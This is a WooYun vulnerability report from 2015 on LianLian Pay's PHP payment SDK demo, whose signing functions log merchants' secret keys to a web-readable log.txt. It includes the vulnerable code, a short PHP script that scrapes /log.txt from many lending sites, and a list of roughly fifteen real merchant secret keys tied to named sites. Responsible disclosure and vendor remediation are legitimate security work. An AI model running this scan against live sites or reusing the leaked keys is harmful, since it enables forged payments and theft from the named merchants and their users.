当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135470

漏洞标题:连连支付支付接口疑似存在后门可导致签约厂商私密key泄漏(无限制刷钱影响)

相关厂商:连连银通电子支付有限公司

漏洞作者: 秋风

提交时间:2015-08-20 10:49

修复时间:2015-11-18 11:46

公开时间:2015-11-18 11:46

漏洞类型:默认配置不当

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-20: 厂商已经确认,细节仅向厂商公开
2015-08-23: 细节向第三方安全合作伙伴开放
2015-10-14: 细节向核心白帽子及相关领域专家公开
2015-10-24: 细节向普通白帽子公开
2015-11-03: 细节向实习白帽子公开
2015-11-18: 细节向公众公开

简要描述:

滴滴滴,喂你好,请问你在我们平台充了10000块钱咋不进行投资呢?我他妈敢投啊?
马勒戈壁的,各厂商不响应党的号召,这是逼老子犯罪的节奏啊。

详细说明:

http://open.lianlianpay.com/ 地址下的XXXXX支付文档PHP Demo文件。
如:http://open.lianlianpay.com/wp-content/uploads/2014/08/web_DEMO-2015-07-24-092030.rar
看lib里边的库文件。
路径./lib/llpay_md5.function.php
审计相关源码:

/**
* 签名字符串
* @param $prestr 需要签名的字符串
* @param $key 私钥
* return 签名结果
*/
function md5Sign($prestr, $key) {
$prestr = $prestr ."&key=". $key;
file_put_contents("log.txt","签名原串:".$prestr."\n", FILE_APPEND);
return md5($prestr);
}
/**
* 验证签名
* @param $prestr 需要签名的字符串
* @param $sign 签名结果
* @param $key 私钥
* return 签名结果
*/
function md5Verify($prestr, $sign, $key) {
$prestr = $prestr ."&key=". $key;
file_put_contents("log.txt","prestr:".$prestr."\n", FILE_APPEND);
$mysgin = md5($prestr);
file_put_contents("log.txt","mysgin:".$mysgin."\n", FILE_APPEND);
if($mysgin == $sign) {
return true;
}
else {
return false;
}
}


校验签名的时候默认打log。lib库你也敢这么玩儿?谁给你的胆子?还带商户私密key。
我们来看另外一个文件,路径./lib/llpay_core.function.php
相关源码

/**
* 把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
* @param $para array 需要拼接的数组
* @return array 拼接完成以后的字符串
*/
function createLinkstring($para) {
$arg = "";
while (list ($key, $val) = each ($para)) {
$arg.=$key."=".$val."&";
}
//去掉最后一个&字符
$arg = substr($arg,0,count($arg)-2);
//file_put_contents("log.txt","转义前:".$arg."\n", FILE_APPEND);
//如果存在转义字符,那么去掉转义
if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}
//file_put_contents("log.txt","转义后:".$arg."\n", FILE_APPEND);
return $arg;
}


这里尼玛知道把打log的代码注释掉了?从这儿我能得出这一块打log的代码本就应该被注释掉的嚒?况且这类方法还在你们提供的lib库里边。
大致思路:从网贷之家等导航页面获取到一批p2p网址,遍历下相关的网站获取到log.txt文件

$ php fetch.php|tee log.txt
<?php
$arr = file("site", FILE_IGNORE_NEW_LINES);
foreach ($arr as $v) {
echo $v."\n";
echo file_get_contents($v . "/log.txt");
}


抓取到相关泄露的部分厂商key

[http://www.15dai.cn] => zjyt0113
[http://www.feiyudai.com] => dgerg44rehrthrth56786523
[http://www.fengtouwang.com] => 201505111000320502_ftouw_513113406
[http://www.huijinyi.com] => 201505181000329503huijinyi_076922623568
[https://www.96caifu.com] => 96caifu_pay_894b64270fc24ee2bd706eca125ea6a2_20150122
[http://www.juchengdai.com] => 6QEouCmPyXID7xkT
[https://www.leerw.com] => 02b67de2139960b5bd1e4d07a52e25e7
[http://www.minmindai.com] => 201506121000368503
[https://www.booop.com.cn] => MCPT6O97FSKI45WJAH3BLYDZ2QER1U80NXGV
[http://www.xyd.net.cn] => allen
[http://www.xspcf.com] => trjp2b201410131000056502
[http://www.yesvion.com] => yesvion123willbestrongerasdrvinm
[http://www.yinzifang.com] => zyjr23486878
[http://zhonghe518.com] => 201505221000337503_HBD_20150522
[http://www.yinzifang.com] => zyjr23486878
[https://www.jiurong.com] => 96caifu_pay_894b64270fc24ee2bd706eca125ea6a2_20150122

漏洞证明:

利用详情请参考:
http://wooyun.org/bugs/wooyun-2010-0132264
http://wooyun.org/bugs/wooyun-2010-0132567
http://wooyun.org/bugs/wooyun-2010-0132961
http://wooyun.org/bugs/wooyun-2010-0132964
http://wooyun.org/bugs/wooyun-2010-0132969

修复方案:

1.通知并协助相关厂商修改私密KEY
2.升级官网提供的支付接口库代码
3.警告当前没出现问题的厂商,例如运维哪天手抖把根目录给了个web可写入的权限。安全真他妈是个动态的玩意儿。

版权声明:转载请注明来源 秋风@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-20 11:44

厂商回复:

感谢您对本公司的关注,目前正对开放平台部分测试代码进行修复处理.....

最新状态:

2015-08-20:已经修复并更新到开放平台支付接口开发包DEMO


漏洞评价:

评论

  1. 2015-08-20 11:31 | 天天向上 ( 路人 | Rank:13 漏洞数:4 | 挖挖更健康)

    楼主发现了印钞机

  2. 2015-08-20 13:33 | 小川 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:219 | 一个致力要将乌云变成搞笑论坛的男人)

    应该再多加几个0

  3. 2015-08-30 21:31 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    @连连银通电子支付有限公司 问下,确定你们不通知相关厂商修改泄漏的私密key嚒?我大概看了下,细节里边涉及的厂商依然存在这个问题!